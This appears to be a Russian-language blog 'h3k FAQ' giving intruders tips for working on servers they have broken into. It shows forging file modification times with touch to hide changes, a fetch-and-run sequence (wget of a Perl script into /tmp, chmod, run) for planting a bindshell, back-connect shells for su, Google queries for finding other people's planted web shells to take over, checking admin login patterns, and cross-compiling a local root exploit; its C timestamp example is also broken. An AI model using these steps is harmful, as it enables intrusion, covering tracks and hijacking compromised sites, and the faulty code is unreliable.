Написал небольшой фак, может кому интересно
будет почитать. Постарался снабдить еще доп. инфой.
q№1.
На удалённом сервере присутствует нужный нам файл. У вас хватает прав что бы прочитать и изменить его. Но - задача заключается в том, что бы дата модификации осталась той же что и была (либо изменненой на любую другую фэйковую)
Решение:
Для этих целей в Linux существует команда touch.
У нее существует опция -t, которая меняет дату и время модификации файла.
Например:
[stranger@localhost ~]$touch -r 0909090909 /home/stranger/aaa.html
Как вариант существует еще опция -r. Она изменяет дату модификации нашего файла, на дату модификации указанного. Например:
[stranger@localhost ~]$touch -r /etc/passwd /home/stranger/aaa.html
Кстати в php есть одноименная функция для изменения времени доступа к файлу:
int touch (string filename [, int time [, int atime]])
Например:
Этот код меняет время модификации файла $filename на текущее время.
Если уж разговор зашел о программировании приведу пример и на си.
ТУт есть структура stat (описана в sys/stat.h). У нее есть поле st_atime оно отвечает за время последнего доступа.
Опять же небольшой пример:
#include
#include // необходимый заголовочный файл
int main(int ac,char *ag[])
{
struct stat buffer; // структура для хранения инфы
if(ac!=1) если кол во аргументов не 1 то
{
if(stat(ag[1],&buffer)!=-1) //если не произошла ошибка то
buffer.st_atime="09090909"; //меняем
else
printf("Не корректное имя файла\n"); // если ошибка
}
else
printf("Пожалуйста введите необходимые аргументы\n");
}
q№2.
Вам удалось найти уязвимость на сайте, через которую можно выполнять команды на сервере. Каким способом и куда можно загрузить и запустить биндшелл(либо другой файл)
Решение.
Вообще загружать файл можно в любую доступную нам директорию (доступную для записи). Но лучше всего грузить файл в директорию /tmp (дириктория временных файлов),
т.к. она открыта для всех, и проблем с правами скорее всего не возникнет.
Непосредственно загружать файл можно несколькими способами
Использовать можно:
wget, get, curl, lynx, links.
Все зависит от конкретной ситуации. Например на сервере может отсутствовать wget.
Для проверки существование программы используем команду which <нужная нам прога>
Итак разберем примеры:
[stranger@localhost ~]$cd /tmp //переход в каталог
[stranger@localhost ~]$wget http://path.com/file.pl // загрузка
[stranger@localhost ~]$chmod 755 file.pl //установка прав
[stranger@localhost ~]$perl file.pl //запуск
Опять же частенько бывают ситуации, когда нужно выполнить все действия через php код:
НУ и давайте рассмотрим способ через lynx. Для тех кто не в курсе lynx - это станадртный консольный браузер. Делается так:
q№3.
Вам удалось взломать сервер и получить доступ к shell оболочке, при чем вы знаете пароль root. Но при вызове команды su, на экране появляется следущее сообщение:
standard in must be a tty
В чем проблема?
Решение.
Скорее всего проблема заключается в отсутствии привязки текущей сессии к псевдотерминалу (или отсутствие поддержи псевдотерминала).
Для уверенности можно набрать команду tty если ответ будет подобен этому:
tty: not a tty
Значит все именно так.
Решить данную ситуацию можно например установив бэкконнект с поддержкой псеводотерминалов. Для этого можно использовать программу ttyX, либо Bidlink.
q№4
Просканировав сервер на открытые порты, ты решил пробить несколько netcat -ом, в итоге на одном из открытых портом был обнаружен такой странный баннер: "??????#??'??$".
Какой демон мог бы носить такой баннер?
Решение.
Ответ прост, так же как и задача - такой баннер носит telnet демон.
q№5.
В какой то момент твоей хакерской деятельности тебе срочно понадобился веб шелл на любом сайте. Но в наличии такового не оказалось, что делать?
Решение.
Как вариант можно поискать уязвимые сайты в гугле (думаю запросы показывать смысла не имеет).
Но более эффективный способ, это искать уже залитые веб шеллы. Тут приведу пример:
PHPKonsole PHPShell filetype:php -echo
Это запрос будет искать залитый PHPKonsole шелл.
А вот этот:
intitle:c99shell filetype:php
c99shell шелл.
Думаю суть запросов ясен.
q№6.
(опять на знание Linux команд) Ты получил доступ к Linux серверу с правами обычного пользователя. Вызвав команду who ты убедился, что находишься один в системе. Что бы дейтсвовать дальше нужно узнать как часто администратор (и другие пользователи) посещают терминал. Как ты это сделаешь?
Решение.
Делается это с помощью команды last. При вводе команды без аргументов она попросту выведем весь лог входов и выходов. Можно ограничить вывод с помощью опции -n:
[stranger@localhost ~]$last -n 15
q№7.
Ты получил доступ к серверу с правами пользователя. Твоя цель - root. Воспользовавшись командой uname -a ты узнаил что на сервер крутиться Linux ядро под которое существует local root сплоит. Но выполнив такую команду:
[stranger@localhost ~] which gcc
Терминал выдал вот это:
/usr/bin/which: no псс in (/usr/lib/qt-3.3/bin:/usr/kerberos/bin:/usr/lib/ccache:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/you/bin:/home/you/bin)
Что делать?
Решение:
Для начала можно попробовать использовать cc. Если и такого не нашлось, то дела плохи.
Выходом из данной ситуации будет компилирование сплоита на другой тачке и загрузке готового бинарника на целевой сервер.
Но. тебе нужно учитывать что бы система на которой ты будешь собирать наш эксплоит была такой же по архитектуре как и целевая. Иначе все труды напрасно.
EOF
0 Comments for "h3k FAQ"
Отправить комментарий